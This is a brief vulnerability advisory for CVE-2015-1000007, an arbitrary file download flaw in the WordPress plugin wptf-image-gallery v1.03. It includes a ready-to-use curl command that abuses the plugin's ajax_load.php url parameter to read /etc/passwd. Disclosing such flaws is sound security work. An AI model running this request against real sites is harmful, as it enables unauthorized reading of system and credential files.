Arbitrary file download vulnerability in wptf-image-gallery v1.03
CVE ID(s):
CVE-2015-1000007
Notified: 2015-08-10
Description:
WordPress True Fullscreen (WPTF) Gallery is a modern gallery plugin that supports true fullscreen and have a lot of features built with it.
Exploit:
$ curl http://www.example.com/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd